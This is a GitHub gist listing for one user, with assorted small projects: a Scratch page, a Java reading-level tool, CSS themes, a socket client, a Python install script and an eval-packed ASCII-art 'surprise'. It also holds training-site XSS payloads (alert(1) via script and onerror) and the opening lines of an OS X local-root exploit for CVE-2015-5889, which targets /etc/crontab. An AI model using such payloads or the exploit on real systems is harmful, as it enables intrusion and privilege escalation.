Skip to content

Instantly share code, notes, and snippets.

View Arinerron's full-sized avatar
:shipit:
Free and Open Source Bugs (FOSB)

Aaron Esau Arinerron

:shipit:
Free and Open Source Bugs (FOSB)
View GitHub Profile
@Arinerron
Arinerron / Scratch-Page
Created January 1, 2016 20:38
A page that interacts with the user based on who they are. This was just a silly test I decided to try, you should check it out, it's pretty funny! :)
<html>
<head><title>User test</title></head>
<body style="background-color:lightgrey;">
<h2>Scratch Stuff by Arinerron</h2>
<script>var s = confirm("Please click OK if you are signed in to Scratch, Cancel if not; this page doesn't really work if you're not...");
if(s) {
} else {
document.write("Please this button once you sign in to Scratch! This page uses iframes and won't really work if you're not. (Inspect Element to see the src code).<br>");
document.write("<div style=\"border:1px dashed black; background-color:white;\"><input type=\"button\" name=\"Reload\" text=\"Reload\" id=\"clearCache\" value=\"Reload\" onclick=\"window.location.reload(true);\"></div>");
@Arinerron
Arinerron / surprise.js
Created February 22, 2016 06:22
A surprise for a friend, Mooncat39 :)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('7.9="<4>&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;6\\2\\1&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;\\/&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;\\\\\\2\\1&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;|&0;&0;&0;&0;5&0;&0;&0;&0;&0;|\\2\\1&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;|&0;&0;&0;|&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;|&0;&0;&0;&0;|\\2\\1&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;|&0;&0;&0;|&0;&0;8:\\\\>&0;3&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;|&0;&0;&0;&0;|\\2\\1&0;&0;&0;&0;&0;&0;&0;
@Arinerron
Arinerron / Reader.java
Created March 5, 2016 05:47
A really simple program in 30 lines of code to decide the grade level that a book/paragraph/sentence should be offered to.
import javax.swing.JOptionPane;
public class Reader {
public Reader() {
String text = JOptionPane.showInputDialog("Please enter a few sentences to parse.");
int level = (int) read(text);
JOptionPane.showMessageDialog(null, "The text is " + (int) Math.ceil(level) + (level == 1 ? "st" : (level == 2 ? "nd" : (level == 3 ? "rd" : "th"))) + " grader level.");
}
@Arinerron
Arinerron / styles.css
Created April 25, 2016 23:18
Dark theme for Stackoverflow...
#answer-from-ask {
background-color: #4d4d4d;
color: #303030;
}
#email {
background-color: #4a4a4a;
border-color: #d9d9d9;
border-style: solid;
border-width: 1px;
@Arinerron
Arinerron / keybase.md
Created June 23, 2016 18:27
keybase.md

Keybase proof

I hereby claim:

  • I am arinerron on github.
  • I am arinerron (https://keybase.io/arinerron) on keybase.
  • I have a public key whose fingerprint is 02EC 5EE6 194D A341 A132 A295 FA6E 4332 B944 9910

To claim this, I am signing this object:

@Arinerron
Arinerron / Main.java
Created September 1, 2016 03:06
Read and write directly to a socket from terminal.
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.Socket;
import java.util.Scanner;
public class Main {
public static void main(String[] args) {
@Arinerron
Arinerron / scrollbar.css
Last active October 10, 2016 07:16
custom scrollbar for @zacharyvincze's amazing user-friendly forum
::-webkit-scrollbar {
width: 13px;
height: 13px;
}
::-webkit-scrollbar-button {
width: 0px;
height: 0px;
}
@Arinerron
Arinerron / xss-game-solutions.txt
Last active January 12, 2017 19:05
These are my solutions to http://xss-game.appspot.com/. I did not use any hints on these, but I took a while on the last two.
These are my solutions to http://xss-game.appspot.com/. I did not use any hints on these, but I took a while on the last two.
[Level 1]: Search for the string.
<script>alert(1)</script>
[Level 2]: Post the string
<img src=x onerror=javascript:alert(1)></img>
[Level 3]: Navigate to the URL
http://xss-game.appspot.com/level3/frame#1' onerror="javascript:alert(1)"
@Arinerron
Arinerron / python.sh
Created January 17, 2017 02:06
Installs Python-3.4.2
wget https://www.python.org/ftp/python/3.4.2/Python-3.4.2.tgz
tar xvf Python-3.4.2.tgz
cd Python-3.4.2
./configure
make
make test
sudo make install
cd ..
rm -rf Python-3.4.2
rm Python-3.4.2.tgz
# CVE-2015-5889: issetugid() + rsh + libmalloc osx local root
import os,time,sys
env = {}
s = os.stat("/etc/sudoers").st_size
env['MallocLogFile'] = '/etc/crontab'
env['MallocStackLogging'] = 'yes'